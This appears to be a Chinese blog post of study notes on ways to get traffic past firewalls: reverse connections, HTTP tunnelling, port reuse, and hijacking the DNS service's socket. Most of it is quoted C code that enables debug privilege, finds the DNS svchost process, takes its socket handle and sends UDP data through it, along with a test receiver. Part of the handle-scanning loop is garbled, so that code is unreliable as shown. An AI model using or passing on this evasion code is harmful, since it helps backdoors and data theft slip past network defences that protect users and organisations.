几种穿透防火墙技术

几种穿透防火墙技术 防火墙是基本网络安全策略之一，它可以阻止不信任的外部网络用户对内部网络用户的访问，如果外网用户同内网用户之间的通信由外网用户发起，通信通常会被防火墙阻断，尤其是对TCP连接敏感，因此我们如果才能保证正常的数据传输呢，特别是非主动连接情况下，怎么保证连接和数据通信的安全稳定性呢, 人们使用穿透防火墙技术(常用): 1.反向连接------>由内网用户发起的连接请求，在防火墙规则下，是允许安全的 2.HTTP隧道技术------>就是吧所有要传送的数据全部封装到Http里进行传送 3.端口复用技术------>也称端口劫持技术，。其原理主要是通过修改套接字属性来实现端口重绑定，这种技术在接受外来数据包的时候通常是由主机进行转化，然后用户接受的 4.共享DNS套接字句柄技术------>这主要是使用了dns服务是所有防火墙免疫的功能来实现的，同时DNS套接字句柄技术最大的特点还是才用UDP通信的(后面将通过引用ZwelL的一些代码来说明) 今天我们主要介绍几种组合的穿透防火墙技术 1.反向连接与HTTP隧道技术 反向连接是由内部网络用户主动发起的连接请求，在防火墙规则下是合法的，假设现在有程序S,C S---->代理------>C 服务端程序s由内部网络发起对C连接请求，通过代理服务器获取相应的IP和端口 <-----(ip,port) 建立socket套接字，设置端口号:80 80 ------------- ============ ===========当C/S建立连接后，进行数据传送的时候，这个时候我们使用HTTP隧道技术，将所有要传输的数据头经过HTTP协议封装，加个HTTP请求头:"Get/HTTP/1.0\r\nUse-Agent:Molliza/1.22\r\nAccept:*/*\r\n\r\n",同时在数据后面加上$$标记，用户在接受到数据的时程序根据预先设定的标记找到数据段，去除HTTP请求头，再把数据交由程序进行处理 采用反向连接+HTTP隧道技术也存在很多局限性 1.采用的端口号为80 2.利用HTTP隧道传输数据需要对数据进行HTTP封装，在混乱的HTTP隧道不能完全保证数据的完整性和安全性,对数据的解封也是一些需要考虑的问题 3.采用数据采集工具和像IS那样的工具可以检测出来 4.防火墙不是傻子，所以规则由时候是不能由我们去改变的 如何可以的吗，我们希望是让S程序为我们自动做个第三方端口映射，而此时第三的稳定性成为了我们的.......... 2.共享DNS套接字句柄技术 这个技术大家在05的时候就应该有所闻了，那是ZwelL发表在安焦上的一篇“一种新的穿透防火墙技术”里面采用的就是利用了dns服务是UDP通信同时又是所有防火墙所不能拒绝的....... 该技术使用了win终端服务库所提供的API函数 大概的: 利用wstapi中提供的函数列举所有系统进程----->查找目标进程或目标服务进程----->保存目标进程的PID------>利用获取的PID得到套接字句柄---->创建套接字进行通信 ============具体实现代码:以下引用ZwelL关于一种.....代码================== /*++ Made By ZwelL zwell@sohu.com 2005.4.12 --*/ #include #include #include #pragma comment(lib, "ws2_32") #pragma comment(lib, "wtsapi32") #define NT_SUCCESS(status) ((NTSTATUS)(status)>=0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef LONG NTSTATUS; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG); ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; BOOL LocateNtdllEntry ( void ) { BOOL ret = FALSE; char NTDLL_DLL[] = "ntdll.dll"; HMODULE ntdll_dll = NULL; if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL ) { printf( "GetModuleHandle() failed"); return( FALSE ); } if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) ) { goto LocateNtdllEntry_exit; } ret = TRUE; LocateNtdllEntry_exit: if ( FALSE == ret ) { printf( "GetProcAddress() failed"); } ntdll_dll = NULL; return( ret ); } /*++ This routine is used to get a process's username from it's SID --*/ BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName) { // sanity checks and default value if (pUserSid == NULL) return false; strcpy(szUserName, "?"); SID_NAME_USE snu; TCHAR szUser[_MAX_PATH]; DWORD chUser = _MAX_PATH; PDWORD pcchUser = &chUser; TCHAR szDomain[_MAX_PATH]; DWORD chDomain = _MAX_PATH; PDWORD pcchDomain = &chDomain; // Retrieve user name and domain name based on user's SID. if ( ::LookupAccountSid( NULL, pUserSid, szUser, pcchUser, szDomain, pcchDomain, &snu ) ) { wsprintf(szUserName, "%s", szUser); } else { return false; } return true; } /*++ This routine is used to get the DNS process's Id Here, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information, even if we has the privilege in catching the SYSTEM's. --*/ DWORD GetDNSProcessId() { PWTS_PROCESS_INFO pProcessInfo = NULL; DWORD ProcessCount = 0; char szUserName[255]; DWORD Id = -1; if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount)) { // dump each process description for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++) { if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 ) { GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName); if( strcmp(szUserName, "NETWORK SERVICE") == 0) { Id = pProcessInfo[CurrentProcess].ProcessId; break; } } } WTSFreeMemory(pProcessInfo); } return Id; } /*++ This doesn't work as we know, sign... but you can use the routine for other useing... --*/ /* BOOL GetProcessUserFromId(char *szAccountName, DWORD PID) { HANDLE hProcess = NULL, hAccessToken = NULL; TCHAR InfoBuffer[1000], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID); if(hProcess == NULL) { printf("OpenProcess wrong"); CloseHandle(hProcess); return false; } if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken)) { printf("OpenProcessToken wrong:%08x", GetLastError()); return false; } GetTokenInformation(hAccessToken,TokenUser,InfoBuffer, 1000, &dwInfoBufferSize); LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); if(hProcess) CloseHandle(hProcess); if(hAccessToken) CloseHandle(hAccessToken); return true; }*/ /*++ Now, it is the most important stuff... ^_^ --*/ SOCKET GetSocketFromId (DWORD PID) { NTSTATUS status; PVOID buf = NULL; ULONG size = 1; ULONG NumOfHandle = 0; ULONG i; PSYSTEM_HANDLE_INFORMATION h_info = NULL; HANDLE sock = NULL; DWORD n; buf=malloc(0x1000); if(buf == NULL) { printf("malloc wrong\n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf("malloc wrong\n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, n, NULL); } else { printf("ZwQuerySystemInformation wrong\n"); return NULL; } NumOfHandle = *(ULONG*)buf; h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4); for(i = 0; i0) // if port > 0, then we can use it break; } } catch(...) { continue; } } if ( buf != NULL ) { free( buf ); } return (SOCKET)sock; } /*++ This is not required... --*/ BOOL EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv; TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; LookupPrivilegeValue ( 0, name, &priv.Privileges[0].Luid ); priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken ); AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 ); rv = GetLastError () == ERROR_SUCCESS; CloseHandle (hToken); return rv; } void main() { WSADATA wsaData; char testbuf[255]; SOCKET sock; sockaddr_in RecvAddr; int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != NO_ERROR) printf("Error at WSAStartup()\n"); if(!LocateNtdllEntry()) return; if(!EnablePrivilege (SE_DEBUG_NAME)) { printf("EnablePrivilege wrong\n"); return; } sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf("GetSocketFromId wrong\n"); return; } //Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(SOCKET_ERROR == sendto(sock, "test", 5, 0, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr))) { printf("sendto wrong:%d\n", WSAGetLastError()); } else { printf("send ok... Have fun, right? ^_^\n"); } getchar(); //WSACleanup(); return; } 很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中, 因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用 OpenProcessToken, 但是怎么也不行,所以换个

方法

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.用到了wtsapi32库函数. 再用下面的代码测试: /*++ UdpReceiver --*/ #include #include "winsock2.h" #pragma comment(lib, "ws2_32") void main() { WSADATA wsaData; SOCKET RecvSocket; sockaddr_in RecvAddr; int Port = 5555; char RecvBuf[1024]; int BufLen = 1024; sockaddr_in SenderAddr; int SenderAddrSize = sizeof(SenderAddr); //----------------------------------------------- // Initialize Winsock WSAStartup(MAKEWORD(2,2), &wsaData); //----------------------------------------------- // Create a receiver socket to receive datagrams RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); //----------------------------------------------- // Bind the socket to any address and the specified port. RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(Port); RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY); bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr)); //----------------------------------------------- // Call the recvfrom function to receive datagrams // on the bound socket. printf("Receiving datagrams...\n"); while(1) { recvfrom(RecvSocket, RecvBuf, BufLen, 0, (SOCKADDR *)&SenderAddr, &SenderAddrSize); printf("%s\n", RecvBuf); } //----------------------------------------------- // Close the socket when finished receiving datagrams printf("Finished receiving. Closing socket.\n"); closesocket(RecvSocket); //----------------------------------------------- // Clean up and exit. printf("Exiting.\n"); WSACleanup(); return; } =========================================================== 测试步骤: 1. 在一台机器上执行UdpReceiver, 2. 在安装防火墙的机器上执行第一个程序. 以上就是我的学习笔记了，希望对你有帮助，目前正在组合一些大牛们的想法，正在思考一 种新的穿透防火墙的数据传输技术